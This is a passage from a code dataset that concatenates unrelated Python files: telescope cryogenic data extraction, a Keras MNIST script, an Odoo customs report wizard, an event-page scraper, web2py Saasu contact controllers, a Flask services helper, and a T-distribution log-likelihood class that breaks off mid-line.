f['antenna0']['scu']['benchSampleTime'][0]\n    \n@core.indexmod\ndef UnpackCryoData(f):\n    '''\n    Extracts cryo information into CryoStatus key\n    '''\n\n    if f.type != core.G3FrameType.GcpSlow:\n        return\n\n    if 'cryo' not in f['array']:\n        return\n\n    t = core.G3MapDouble()\n    t.time = f['array']['cryo']['utc']\n    t.cryo_is_valid = f['array']['cryo']['cryoIsValid'][0]\n\n    # Measured values\n    # He10\n    t.uc_head = f['array']['cryo']['temperature'][0][0]\n    t.ic_head = f['array']['cryo']['temperature'][0][1]\n    t.he4_head = f['array']['cryo']['temperature'][0][2]\n    t.he4_fb = f['array']['cryo']['temperature'][0][3]\n    t.he4_pump = f['array']['cryo']['temperature'][0][4]\n    t.ic_pump = f['array']['cryo']['temperature'][0][5]\n    t.uc_pump = f['array']['cryo']['temperature'][0][6]\n    t.he4_sw = f['array']['cryo']['temperature'][0][7]\n    t.ic_sw = f['array']['cryo']['temperature'][0][8]\n    t.uc_sw = f['array']['cryo']['temperature'][0][9]\n    t.uc_stage = f['array']['cryo']['temperature'][0][10]\n    t.lc_tower = f['array']['cryo']['temperature'][0][11]\n    t.ic_stage = f['array']['cryo']['temperature'][0][12]\n    t.t4k_head = f['array']['cryo']['temperature'][0][13]\n    t.t4k_squid_strap = f['array']['cryo']['temperature'][0][14]\n    t.t50k_head = f['array']['cryo']['temperature'][0][15]\n\n    # Optics\n    t.b1_50k_wbp_near = f['array']['cryo']['temperature'][1][0]\n    t.b2_50k_wbp_far = f['array']['cryo']['temperature'][1][1]\n    t.b3_50k_diving_board = f['array']['cryo']['temperature'][1][2]\n    t.b4_50k_top_bot_ptc = f['array']['cryo']['temperature'][1][3]\n    t.y1_50k_head = f['array']['cryo']['temperature'][1][4]\n    t.y2_50k_window_strap_near = f['array']['cryo']['temperature'][1][5]\n    t.y3_50k_tube_strap_near = f['array']['cryo']['temperature'][1][6]\n    t.y4_50k_tube = f['array']['cryo']['temperature'][1][7]\n    t.g1_4k_head = f['array']['cryo']['temperature'][1][8]\n    t.g2_4k_strap = f['array']['cryo']['temperature'][1][9]\n    t.g3_4k_lens_tab = f['array']['cryo']['temperature'][1][10]\n    t.g4_4k_lens_tab_far = f['array']['cryo']['temperature'][1][11]\n    t.r1_4k_top_top_ptc = f['array']['cryo']['temperature'][1][12]\n    t.r2_50k_midop_bot_ptc = f['array']['cryo']['temperature'][1][13]\n    t.r3_4k_lyot_flange = f['array']['cryo']['temperature'][1][14]\n    t.r4_4k_lyot = f['array']['cryo']['temperature'][1][15]\n\n    # Receiver\n    t.t4k_plate_far = f['array']['cryo']['temperature'][2][0]\n    t.t4k_strap_optics = f['array']['cryo']['temperature'][2][1]\n    t.t4k_plate_mid = f['array']['cryo']['temperature'][2][2]\n    t.t4k_plate_top = f['array']['cryo']['temperature'][2][3]\n    t.t4k_plate_ptc = f['array']['cryo']['temperature'][2][4]\n    t.t50k_harness_middle = f['array']['cryo']['temperature'][2][6]\n    t.t50k_strap = f['array']['cryo']['temperature'][2][7]\n    t.squid_wh1_sl1 = f['array']['cryo']['temperature'][2][8]\n    t.squid_wh5_sl1 = f['array']['cryo']['temperature'][2][9]\n    t.squid_wh3_sl7 = f['array']['cryo']['temperature'][2][10]\n    t.cal_filament = f['array']['cryo']['temperature'][2][11]\n    t.cal_ambient1 = f['array']['cryo']['temperature'][2][12]\n    t.cal_ambient2 = f['array']['cryo']['temperature'][2][13]\n    t.cal_ambient3 = f['array']['cryo']['temperature'][2][14]\n\n    # Heaters\n    t.heat_he4_pump = f['array']['cryo']['heater_dac'][0][3]\n    t.heat_ic_pump = f['array']['cryo']['heater_dac'][0][4]\n    t.heat_uc_pump = f['array']['cryo']['heater_dac'][0][5]\n    t.heat_he4_sw = f['array']['cryo']['heater_dac'][0][0]\n    t.heat_ic_sw = f['array']['cryo']['heater_dac'][0][1]\n    t.heat_uc_sw= f['array']['cryo']['heater_dac'][0][2]\n\n    f['CryoStatus'] = t\n\n\n@core.indexmod\ndef UnpackPTData(f):\n    '''Extracts pulse tube status information to PTStatus key \n    in frame'''\n\n    if f.type != core.G3FrameType.GcpSlow:\n        return\n\n    if 'pt415' not in f['array']:\n        return\n\n    p = core.G3MapDouble()\n\n    p.time = f['array']['pt415']['utc']\n    p.optics_lowp = f['array']['pt415']['pressure_low'][0]\n    p.min_optics_lowp = f['array']['pt415']['min_pressure_low'][0]\n    p.max_optics_lowp = f['array']['pt415']['max_pressure_low'][0]\n    p.optics_highp = f['array']['pt415']['pressure_high'][0]\n    p.min_optics_highp = f['array']['pt415']['min_pressure_high'][0]\n    p.max_optics_highp = f['array']['pt415']['max_pressure_high'][0]\n    p.optics_tempoil = f['array']['pt415']['temp_oil'][0]\n    p.min_optics_tempoil = f['array']['pt415']['min_temp_oil'][0]\n    p.max_optics_tempoil = f['array']['pt415']['max_temp_oil'][0]\n\n    p.receiver_lowp = f['array']['pt415']['pressure_low'][1]\n    p.min_receiver_lowp = f['array']['pt415']['min_pressure_low'][1]\n    p.max_receiver_lowp = f['array']['pt415']['max_pressure_low'][1]\n    p.receiver_highp = f['array']['pt415']['pressure_high'][1]\n    p.min_receiver_highp = f['array']['pt415']['min_pressure_high'][1]\n    p.max_receiver_highp = f['array']['pt415']['max_pressure_high'][1]\n    p.receiver_tempoil = f['array']['pt415']['temp_oil'][1]\n    p.min_receiver_tempoil = f['array']['pt415']['min_temp_oil'][1]\n    p.max_receiver_tempoil = f['array']['pt415']['max_temp_oil'][1]\n\n    p.optics_is_valid = f['array']['pt415']['deviceIsValid'][0]\n    p.receiver_is_valid = f['array']['pt415']['deviceIsValid'][1]\n\n\n    f['PTStatus'] = p\n\n@core.indexmod\ndef UnpackMuxData(f):\n    '''\n    Add the DFMux data to the frame.\n    '''\n    if f.type != core.G3FrameType.GcpSlow:\n        return\n\n    try:\n        mux = f['array']['muxHousekeeping']\n        boards = mux['boardname']\n    except KeyError:\n        return\n\n    fpga_temp = core.G3MapDouble()\n    board_name = core.G3MapString()\n\n    for i, bn in enumerate(boards):\n        bn = str(bn).replace('\"', '') # get rid of extra quotes in board name\n        if bn != \"\":\n            board_name[str(i)] = bn\n            fpga_temp[str(i)] = mux['MB_TEMPERATURE_FPGA_DIE'][i]\n    fpga_temp.time = mux['utc']\n    board_name.time = mux['utc']\n    f['MuxFPGATemp'] = fpga_temp\n    f['MuxBoardName'] = board_name\n\n@core.indexmod\ndef UnpackWeatherData(f):\n    '''Extracts weather status information to Weather key \n    in frame'''\n\n    if f.type != core.G3FrameType.GcpSlow:\n        return\n\n    if 'weather' not in f['array']:\n        return\n\n    t = core.G3MapDouble()\n    t.time = f['array']['weather']['utc']\n    t.telescope_temp = f['array']['weather']['airTemperature'].value\n    t.telescope_pressure = f['array']['weather']['pressure'].value\n    t.inside_dsl_temp = f['array']['weather']['internalTemperature'].value\n    t.wind_speed = f['array']['weather']['windSpeed'].value\n    t.wind_direction = f['array']['weather']['windDirection'].value\n    t.battery = f['array']['weather']['battery'].value\n    t.rel_humidity = f['array']['weather']['relativeHumidity'].value\n    t.power = f['array']['weather']['power'].value\n    t.tau = f['array']['tipper']['tau'].value\n    t.tatm = f['array']['tipper']['tatm'].value\n\n    f['Weather'] = t\n\n@core.pipesegment\ndef ARCExtract(pipe):\n    '''Extract GCP registers into native objects'''\n    pipe.Add(CalibrateFrame)\n    pipe.Add(UnpackACUData)\n    pipe.Add(UnpackTrackerPointingData)\n    pipe.Add(DecryptFeatureBit)\n    pipe.Add(UnpackTrackerData)\n    pipe.Add(AddBenchData)\n    pipe.Add(UnpackCryoData)\n    pipe.Add(UnpackPTData)\n    pipe.Add(UnpackMuxData)\n    pipe.Add(UnpackWeatherData)\n\n@core.pipesegment\ndef ARCExtractMinimal(pipe):\n    '''\n    Extract bare minimum GCP registers into native objects.\n\n    Includes only GCPFeatureBits, SourceName and ObservationID keys.\n    Use ARCExtract to calibrate and extract the complete frame.\n    '''\n    pipe.Add(DecryptFeatureBit)\n    pipe.Add(UnpackTrackerMinimal)\n\n# Need tool for tilt meter next\n","sub_path":"gcp/python/ARCExtractor.py","file_name":"ARCExtractor.py","file_ext":"py","file_size_in_byte":27148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"627667994","text":"import numpy as np\nfrom matplotlib import pyplot as plt\n\nimport keras\nimport keras.backend as K\nfrom keras import models\nfrom keras import layers\nfrom keras.models import load_model\nfrom keras.datasets import mnist\nfrom keras.utils import to_categorical\nfrom keras.callbacks import ModelCheckpoint\n\nimport tensorflow as tf\n\nfrom ista import ISTA\n\n###\n#$$ nonconvex loss function\n###\ndef not_convex(y_true, y_pred):\n    return K.sum(K.square(y_true - y_pred)) / ( K.sum(K.square(y_true)) + K.sum(K.square(y_pred)) )\n\n###\n### start a session - will need same session to link K to tf\n###\n\nsession = tf.Session()\nK.set_session(session)\n\n###\n### generate dummy model\n###\n\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\n\ntrain = x_train.reshape((60000,28*28)).astype('float32') / 255\ntest  =  x_test.reshape((10000,28*28)).astype('float32') / 255\n\ntrain_labels = to_categorical(y_train)\ntest_labels  = to_categorical(y_test)\n\nmu = 0.0001\nconstraints = [keras.regularizers.l1(mu), ISTA(mu)]\nlocations   = ['l1', 'ista']\n\nfor con, loc in zip(constraints, locations):\n\n    net = models.Sequential()\n    net.add(layers.Dense(256, activation='relu', input_shape=(28*28,)))\n    net.add(layers.Dense(128, activation='relu'))\n    if loc == 'l1':\n        net.add(layers.Dense(128, activation='relu', kernel_regularizer=con))\n    elif loc == 'ista':\n        net.add(layers.Dense(128, activation='relu', kernel_constraint=con))\n    else:\n        net.add(layers.Dense(128, activation='relu'))\n    net.add(layers.Dense(10, activation='softmax'))\n    net.compile(optimizer='adam',loss=not_convex,metrics=['accuracy'])\n    # net.compile(optimizer='adam',loss='categorical_crossentropy',metrics=['accuracy'])\n\n    h = net.fit(train,\n        train_labels,\n        epochs=40,\n        batch_size=128,\n        shuffle=True)\n\n    net.save('mnistmodel-'+loc+'.h5')\n","sub_path":"analysis/mnist/buildmnistmodels.py","file_name":"buildmnistmodels.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"589132886","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api\nfrom odoo import exceptions\n\n\nclass IacAsnCustomsSasSearchLine(models.Model):\n    _inherit = 'iac.customs.sas.line'\n    _name = 'iac.asn.customs.sas.search.line'\n    _table = 'iac_customs_sas_line'\n\n    # sas_stock_line_ids = fields.One2many('iac.customs.sas.line.inherit', 'sas_stock_id', string=u'出入库单line ID', index=True)\n\n\nclass IacAsnCustomsSasSearchData(models.Model):\n    _inherit = 'iac.customs.sas.header'\n    _name = 'iac.asn.customs.sas.search.data'\n    _table = 'iac_customs_sas_header'\n\n    sas_stock_line_ids = fields.One2many('iac.asn.customs.sas.search.line', 'sas_stock_id', string=u'出入库单line ID', index=True)\n\n\nclass IacAsnCustomsSasReport(models.TransientModel):\n\n    _name = 'iac.asn.customs.sas.report.wizard'\n    # _auto = False\n\n    plant_id = fields.Many2one('pur.org.data',string='Plant *')\n    vendor_code = fields.Many2one('iac.vendor',string='Vendor Code')\n    sas_dcl_no = fields.Char(string=u'业务申报表编号')\n    # part_no = fields.Char(string=u'料号')\n    sas_stock_no = fields.Char(string=u'出入库单编号')\n    sas_stock_preent_no = fields.Char(string=u'预录入编号')\n    stock_typecd = fields.Selection([(\"I\", u\"进区\"), (\"E\", u\"出区\")], string=u\"出入库单类型\")\n    state = fields.Selection([(\"wait_mm_approve\", u\"待采购确认\"),\n                              (\"wait_lg_approve\", u\"待关务确认\"),\n                              (\"mm_reject\", u\"采购拒绝\"),\n                              ('lg_approved', u'关务核准'),\n                              (\"lg_reject\", u\"关务拒绝\"),\n                              (\"interface_submit_success\", u\"推送海关系统成功\"),\n                              (\"interface_submit_fail\", u\"推送海关系统失败\"),\n                              ('cancel', u'厂商取消'),\n                              (\"to_cancel\", u\"作废中\"),\n                              (\"done\", \"done\")], string=u\"状态\")\n    from_date = fields.Date(string='From Date *')\n    to_date = fields.Date(string='To Date *')\n\n    @api.multi\n    def search_customs_sas_data(self):\n        self.ensure_one()\n        # result = []\n        domain = []\n        for wizard in self:\n            if wizard.plant_id:\n                domain += [('plant_id', '=', wizard.plant_id.id)]\n            if wizard.vendor_code:\n                domain += [('vendor_id', '=', wizard.vendor_code.id)]\n            if wizard.sas_dcl_no:\n                domain += [('sas_dcl_no', '=', wizard.sas_dcl_no)]\n            if wizard.sas_stock_no:\n                domain += [('sas_stock_no', '=', wizard.sas_stock_no)]\n            if wizard.sas_stock_preent_no:\n                domain += [('sas_stock_preent_no', '=', wizard.sas_stock_preent_no)]\n            if wizard.stock_typecd:\n                domain += [('stock_typecd', '=', wizard.stock_typecd)]\n            if wizard.state:\n                domain += [('state', '=', wizard.state)]\n            if wizard.from_date and not wizard.to_date:\n                domain += [('create_date', '>=', wizard.from_date)]\n            if wizard.to_date and not wizard.from_date:\n                domain += [('create_date', '<=', wizard.to_date)]\n\n            if wizard.from_date and wizard.to_date:\n                if wizard.from_date > wizard.to_date:\n                    raise exceptions.ValidationError(u'查询日期条件不正确！')\n                else:\n                    domain += [('create_date', '>=', wizard.from_date), ('create_date', '<=', wizard.to_date)]\n\n            for item in self.env.user.groups_id:\n                if item.name == 'External vendor' and not wizard.vendor_code:\n                    raise exceptions.ValidationError(u'厂商必须选择vendor code')\n\n            result = self.env['iac.asn.customs.sas.search.data'].search(domain)\n            if not result:\n                raise exceptions.ValidationError(u'查无资料！')\n\n        action = {\n            'domain': [('id', 'in', [x.id for x in result])],\n            'name': 'customs sas',\n            'type': 'ir.actions.act_window',\n            'view_mode': 'tree,form',\n            'res_model': 'iac.asn.customs.sas.search.data'\n\n        }\n        return action\n","sub_path":"addons/mk_addons/myaddons/iac_report/models/iac_asn_customs_sas_report.py","file_name":"iac_asn_customs_sas_report.py","file_ext":"py","file_size_in_byte":4228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"219701737","text":"from datetime import datetime\nfrom bs4      import BeautifulSoup\nimport locale, requests\n\ndef GelredomeLoader():\n    try: #Rick\n        locale.setlocale(locale.LC_ALL,'nl_NL.UTF-8')#Dutch\n    except: #Sander\n        locale.setlocale(locale.LC_ALL,'Dutch_Netherlands.1252')#Dutch\n\n    URL = 'http://www.gelredome.nl/nl/evenementen'\n    container = []\n   \n    # #Scrape the main site for links to events\n    for link in BeautifulSoup(requests.get(URL).content,\"html.parser\").findAll('div',attrs={'class':'agenda-items__content '}):       \n        title    = link.find('h3').text\n        if 'Vitesse' not in title:\n            url      = 'http://www.gelredome.nl' + link.find('a')['href']\n            \n            day   = link.find('div',attrs={'class':'agenda-items__day'}).text.strip()\n            month = link.find('div',attrs={'class':'agenda-items__month'}).text.strip()\n            date  = datetime.strptime(day + ' ' + month,'%d %B %Y').date()\n            time  = None\n\n            container.append([title,\n                              date,\n                              time,\n                              url])\n        \n    try: #Rick\n        locale.setlocale(locale.LC_ALL,'en_US.UTF-8')#English US\n    except: #Sander\n        locale.setlocale(locale.LC_ALL,'English_United States.1252')#English US\n    return container","sub_path":"Venues/Gelredome.py","file_name":"Gelredome.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"298829666","text":"# -*- coding: utf-8 -*-\n# this file is released under public domain and you can use without limitations\n\n#########################################################################\n## This is a sample controller\n## - index is the default action of any application\n## - user is required for authentication and authorization\n## - download is for downloading files uploaded in the db (does streaming)\n## - call exposes all registered services (none by default)\n#########################################################################\nimport saasu_api_helpers\nfrom gluon.tools import geocode\nfrom simplejson import loads,dumps\nfrom datetime import date, datetime,timedelta\n\ndef index():\n    \"\"\"\n    example action using the internationalization operator T and flash\n    rendered by views/default/index.html or views/generic.html\n\n    if you need a simple wiki simply replace the two lines below with:\n    return auth.wiki()\n    \"\"\"\n    response.flash = T(\"Welcome to web2py!\")\n    return dict(message=T('Hello World'))\n\n\ndef user():\n    \"\"\"\n    exposes:\n    http://..../[app]/default/user/login\n    http://..../[app]/default/user/logout\n    http://..../[app]/default/user/register\n    http://..../[app]/default/user/profile\n    http://..../[app]/default/user/retrieve_password\n    http://..../[app]/default/user/change_password\n    http://..../[app]/default/user/manage_users (requires membership in\n    use @auth.requires_login()\n        @auth.requires_membership('group name')\n        @auth.requires_permission('read','table name',record_id)\n    to decorate functions that need access control\n    \"\"\"\n    return dict(form=auth())\n\n@cache.action()\ndef download():\n    \"\"\"\n    allows downloading of uploaded files\n    http://..../[app]/default/download/[filename]\n    \"\"\"\n    return response.download(request, db)\n\n\ndef call():\n    \"\"\"\n    exposes services. for example:\n    http://..../[app]/default/call/jsonrpc\n    decorate with @services.jsonrpc the functions to expose\n    supports xml, json, xmlrpc, jsonrpc, amfrpc, rss, csv\n    \"\"\"\n    return service()\n\n\n@auth.requires_signature()\ndef data():\n    \"\"\"\n    http://..../[app]/default/data/tables\n    http://..../[app]/default/data/create/[table]\n    http://..../[app]/default/data/read/[table]/[id]\n    http://..../[app]/default/data/update/[table]/[id]\n    http://..../[app]/default/data/delete/[table]/[id]\n    http://..../[app]/default/data/select/[table]\n    http://..../[app]/default/data/search/[table]\n    but URLs must be signed, i.e. linked with\n      A('table',_href=URL('data/tables',user_signature=True))\n    or with the signed load operator\n      LOAD('default','data.load',args='tables',ajax=True,user_signature=True)\n    \"\"\"\n    return dict(form=crud())\n\n@auth.requires_login()  #should actually be admin user\ndef edit_file_config():\n    \"\"\" edit the saasu file config\n    \"\"\"\n    grid=SQLFORM.grid(db.saasu_file_data)\n    return {'grid':grid}\n\n# @auth.requires_login()\n# def choose_saasu_file():\n#     \"\"\" find all saasu files the user can see\n#     \"\"\"\n#     file_qry = (db.auth_membership.user_id == auth.user_id ) & (db.saasu_file_data.saasu_group == db.auth_membership.group_id)\n#     file_set = db(file_qry)\n#     rows = file_set.select(db.saasu_file_data.id,db.saasu_file_data.saasu_filename,db.saasu_file_data.saasu_fileUID)\n#     if rows:\n#         if not session.saasu_fileUID:\n#             session.saasu_fileUID = rows[0].saasu_fileUID\n#         form = SQLFORM.factory(Field('choose_file',\n#                                      default=session.saasu_fileUID,\n#                                      requires=IS_IN_DB(file_set,'saasu_file_data.saasu_fileUID','%(saasu_filename)s')))\n#         form.vars.choose_file=session.saasy_fileUID\n#\n#         if form.process(keepvalues=True).accepted:\n#             response.flash = 'Saasu file is now: %s' % form.vars.choose_file\n#             session.saasu_fileUID = form.vars.choose_file\n#             redirect( request.env.http_web2py_component_location,client_side=True)\n#         elif form.errors:\n#             response.flash = 'form has errors'\n#\n#     return {'form':form}\n\n\n@auth.requires_login()\ndef choose_saasu_file_v2():\n    \"\"\" find all saasu files the user can see\n    \"\"\"\n    file_qry = (db.auth_membership.user_id == auth.user_id ) & (db.saasu_file_data.saasu_group == db.auth_membership.group_id)\n    file_set = db(file_qry)\n    rows = file_set.select(db.saasu_file_data.id,db.saasu_file_data.saasu_filename,db.saasu_file_data.saasu_fileUID)\n    if rows:\n        if not session.saasu_fileUID:\n            session.saasu_fileUID = rows[0].saasu_fileUID\n        form = SQLFORM.factory(Field('choose_file',\n\n                                     default=session.saasu_fileUID,\n                                     requires=IS_IN_DB(file_set,'saasu_file_data.saasu_fileUID','%(saasu_filename)s')))\n\n        form.vars.choose_file = session.saasu_fileUID\n        if form.process(keepvalues=True).accepted:\n            saasu_file_name = db(db.saasu_file_data.saasu_fileUID==form.vars.choose_file).select(db.saasu_file_data.saasu_filename).first().saasu_filename\n            response.flash = 'Saasu file is now: %s' % saasu_file_name\n            session.saasu_fileUID = form.vars.choose_file\n            if request.vars.target_div:\n                response.js = \"jQuery('#%s').get(0).reload()\" % request.vars.target_div\n            #response.js = \"jQuery('#google_map_comp').reload()\"\n        elif form.errors:\n            response.flash = 'form has errors'\n    return {'form':form}\n\n@auth.requires_login()\ndef google_map():\n    locations = []\n    rows = db((db.saasu_contact.is_customer == True) & (db.saasu_contact.is_active == True) & (db.saasu_contact.saasu_fileUID == session.saasu_fileUID)).select()\n    for customer in rows:\n        locations.append((getattr(customer,\"latitude\",0),getattr(customer,\"longitude\",0),customer.company))\n\n    locations_json = dumps(locations)\n    return locals()\n\n\n\n@auth.requires_login()\ndef contacts_grid():\n    def update_contact_table(ws_access_key=None,file_uid=None,last_sync_date = None):  #this is controlled via cache\n        contacts = saasu_api_helpers.get_contacts(ws_access_key=ws_access_key,file_uid=file_uid,last_sync_date=last_sync_date)\n        i = 0\n        for contact in contacts:\n\n            if not contact['country']:\n                contact['country'] = 'Australia'\n            (latitude,longitude) = geocode(\"%(street)s %(city)s %(state)s %(country)s \" %\n                                 {  'street': contact['street'] or '',\n                                    'city':contact['city'] or '',\n                                    'state':contact['state'] or '',\n                                    'country':contact['country'] or ''}\n            )\n            db.saasu_contact.update_or_insert(\n                ((db.saasu_contact.saasu_fileUID == file_uid ) &\n                (db.saasu_contact.saasu_contactUID == contact['contactUid'])),\n                saasu_fileUID = file_uid,\n                saasu_contactUID = contact['contactUid'],\n                family_name = contact['familyName'],\n                given_name = contact['givenName'],\n                company = contact['organisationName'],\n                email = contact['emailAddress'],\n                main_phone = contact['mainPhone'],\n                mobile_phone =contact['mobilePhone'] ,\n                mailing_street = contact['street'] ,\n                mailing_town = contact['city'],\n                mailing_zip = contact['postCode'],\n                mailing_state = contact['state'],\n                is_active = contact['isActive'],\n                is_customer = contact['isCustomer'],\n                is_supplier = contact['isSupplier'],\n                mailing_country = contact['country'],\n                latitude = latitude,\n                longitude = longitude\n            )\n        #update the last sync date. It's supposed to be a UTC time stamp so I'll just take 2 days off the current date\n\n        # db(db.saasu_file_data.saasu_fileUID == session.saasu_fileUID).update(\n        #     last_contact_sync=((datetime.now() - timedelta(days=2)).date()))\n        two_days_ago = (datetime.now() - timedelta(days=1))\n        db(db.saasu_file_data.saasu_fileUID == session.saasu_fileUID).update(\n            last_contact_sync=two_days_ago)\n\n    grid = None\n    if session.saasu_fileUID:\n        saasu_file_record = db(db.saasu_file_data.saasu_fileUID == session.saasu_fileUID).select().first()\n        last_sync_date = saasu_file_record.last_contact_sync\n        if saasu_file_record:\n            saasu_api_key = saasu_file_record.saasu_api_key\n            contact_list = cache.disk('contacts-%s' % saasu_api_key,\n                                      lambda: update_contact_table(ws_access_key=saasu_file_record.saasu_api_key,\n                                                                   file_uid=saasu_file_record.saasu_fileUID,\n                                                                   last_sync_date=last_sync_date),\n                                      time_expire=500)\n            grid = SQLFORM.grid(db.saasu_contact.saasu_fileUID == session.saasu_fileUID,\n                                fields=[db.saasu_contact.company,db.saasu_contact.given_name,db.saasu_contact.family_name,db.saasu_contact.mailing_town,db.saasu_contact.mailing_zip,db.saasu_contact.mailing_state],\n                                deletable=False,editable=False,create=False,paginate=100,maxtextlength=40,\n                                )\n\n    return {'grid':grid}\n\n@auth.requires_login()\ndef map_contacts():\n    locations = []\n    rows = db((db.saasu_contact.is_customer == True) & (db.saasu_contact.is_active == True) & (db.saasu_contact.saasu_fileUID == session.saasu_fileUID)).select()\n    for customer in rows:\n        locations.append((getattr(customer,\"latitude\",0),getattr(customer,\"longitude\",0),customer.company))\n\n    locations_json = dumps(locations)\n\n\n    return locals()\n\n\n@auth.requires_login()\ndef map_contacts_v2():\n    return locals()\n\n\n@auth.requires_login()\ndef browse_contacts():\n    return locals()","sub_path":"controllers/default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":10075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"585520879","text":"from flaskweb import db\nimport datetime\n\n# Method to calculate the mean rating,\n# accept a list of services and return a list\ndef meanRating(services):\n    for j in services:\n        length = len(j['Rating'])\n        if length == 0:\n            j['meanRating'] = 0\n        else:\n            sum1 = sum(j['Rating'])\n            meanRating = sum1 / length\n            meanRating = round(meanRating, 1)\n            j['meanRating'] = meanRating\n    services = sorted(services, key=lambda k: -(k.get('meanRating')))\n    return services\n\n# Method to get the services from the db based on types\n# Accept the service type, return a list of services\ndef getServices(name):\n    cursor = db.Services.find({'Type':name})\n    services = []\n    for i in cursor:\n        # Use the services that contain description and coordinate\n        if i['Type'] != 'hotlines':\n            if i['What'] != 'Unknown' and i['Latitude'] != 'Unknown' and i['Longitude'] != 'Unknown':\n                services.append(i)\n        else:\n            if i['What'] != 'Unknown':\n                services.append(i)\n    services = meanRating(services)\n    return services\n\n# Method to set the pagination\n# Accept a list of data\ndef getServicesPage(data, offset=0, per_page=10):\n    return data[offset: offset + per_page]\n\n# Method to return a specific service with detailed information\n# Accept the type and the id_\ndef getInfo(name, id_):\n    data = getServices(name)\n    for i in data:\n        if str(i.get('id_')) == id_:\n            return i\n\n# Method to update the rating, each user can only give one rating to one service\n# Accept the service type and id_, the rating(str) and user email\ndef updateRating(name, id_, rating, email):\n    alist = db.Services.find_one({'Type': name, 'id_': int(id_)}).get('Rating')\n    ratingDic = db.user.find_one({'email': email}).get('rating')\n    key = name + id_\n\n    # check whether the user has given a rating the this service,\n    # If no, add the new rating. Else replace the previous rating\n    if key not in ratingDic.keys():\n        ratingDic[key] = int(rating)\n        alist.append(int(rating))\n    else:\n        oldrating = int(ratingDic[key])\n        ratingDic[key] = int(rating)\n        alist.remove(oldrating)\n        alist.append(int(rating))\n\n    # Update both user and services db\n    db.Services.update_one(\n        {'Type': name, 'id_': int(id_)},\n        {'$set': {\n            'Rating': alist\n        }}\n    )\n    db.user.update_one(\n        {'email': email},\n        {'$set': {\n            'rating': ratingDic\n        }}\n    )\n    return 'success'\n\n# Method to add the user's favorite\n# Accept user's email, the favorited service's type and id_\n# Users' favorite store the type and the id_\ndef updateFavorite(email, service_name, service_id):\n    alist = db.user.find_one({'email': email}).get('favorite')\n    service = {'Type': service_name, 'id_': service_id}\n    if service not in alist:\n        alist.insert(0, service)\n        db.user.update_one(\n            {'email': email},\n            {'$set': {\n                'favorite': alist\n            }}\n        )\n        return 'success'\n    else:\n        return 'fail'\n\n# Method to remove the user's favorite\n# Accept user's email, the favorited service's type and id_\ndef remFavorite(email, service_name, service_id):\n    alist = db.user.find_one({'email': email}).get('favorite')\n    service = {'Type': service_name, 'id_': service_id}\n    if service in alist:\n        alist.remove(service)\n        db.user.update_one(\n            {'email': email},\n            {'$set': {\n                'favorite': alist\n            }}\n        )\n        return 'success'\n    else:\n        return 'fail'\n\n# Method to get the detailed favorited service\n# Accept user's email and return a list of services\ndef getFavorite(email):\n    alist = db.user.find_one({'email': email}).get('favorite')\n    favoData = []\n    for i in alist:\n        favoData.append(getInfo(i['Type'], i['id_']))\n    return favoData\n\n# Method to return the today's day\ndef pass_today():\n    dic = {'0':'Monday', '1':'Tuesday', '2':'Wednesday', '3':'Thursday',\n           '4':'Friday', '5':'Saturday', '6':'Sunday'}\n    day = datetime.datetime.today().weekday()\n    return dic[str(day)]\n\n# Method to determine if there is a map in search display page\n# Accept a list of services, return yes or no\ndef ifMap(data):\n    map = 'yes'\n    if len(data) == 1 and data[0]['Type'] == 'hotlines':\n        map = 'no'\n    else:\n        typeList = []\n        for i in data:\n            typeList.append(i['Type'])\n        if len(set(typeList)) == 1 and typeList[0] == 'hotlines':\n            map = 'no'\n        else:\n            for i in data:\n                if i['Type'] != 'hotlines':\n                    temp = i\n                    data.remove(i)\n                    data.insert(0,temp)\n                    break\n    return map\n","sub_path":"IEweb_Backup/flaskweb/getData.py","file_name":"getData.py","file_ext":"py","file_size_in_byte":4847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"212620964","text":"import numpy as np\nimport pandas as pd\nimport scipy.linalg\n\nfrom ..core import LogLike\n\n\nclass TdistLogLike(LogLike):\n    \"\"\"A T-distribution for the log-likelihood.\n\n    This distribution is appropriate when the covariance has been obtained\n    from a finite number of simulations. See Sellentin & Heavens\n    (2016; arXiv:1511.05969). As the number of simulations increases, the\n    T-distribution approaches a Gaussian.\n\n    Parameters\n    ----------\n    data : str\n        The path to the covariance matrix in CSV format. The columns should be\n        {'i', 'j', 'cov'} giving the indices of each matrix element and its\n        value.\n    data_vector : list of str\n        A list of the statistics in the config file in the order they appear in\n        the covariance matrix.\n    nu: int\n        The shape parameter. Set to the number of simulations.\n\n    Attributes\n    ----------\n    cov : np.ndarray, shape (n, n)\n        The covariance matrix.\n    cholesky : np.ndarray, shape (n, n)\n        The (lower triangular) Cholesky decomposition of the covariance matrix.\n\n    Methods\n    -------\n    compute_loglike : compute the log-likelihood\n    \"\"\"\n    def __init__(self, data, data_vector, nu):\n        self.data = data\n        self.data_vector = data_vector\n        self.nu = nu\n\n        df = pd.read_csv(data)\n        dim = max(np.max(df['i']), np.max(df['j'])) + 1\n        cov = np.zeros((dim, dim))\n        cov[df['i'].values, df['j'].values] = df['cov'].values\n        self.cov = cov\n        self.cholesky = scipy.linalg.cholesky(cov, lower=True)\n\n    def compute(self, data, theory, **kwargs):\n        \"\"\"Compute the log-likelihood.\n\n        Parameters\n        ----------\n        data : dict of arrays\n            A dictionary mapping the names of the statistics to their\n            values in the data.\n        theory : dict of arrays\n            A dictionary mapping the names of the statistics to their\n            predictions.\n        **kwargs : extra keyword arguments\n            Any extra keyword arguments are ignored.\n\n        Returns\n        -------\n        loglike : float\n            The log-likelihood.\n        \"\"\"\n        dv = []\n        for stat in self.data_vector:\n            dv.append(np.atleast_1d(data[stat] - np.atleast_1d(theory[stat])))\n        dv = np.concatenate(dv, axis=0)\n        x = scipy.linalg.solve_triangular(self.cholesky, dv, 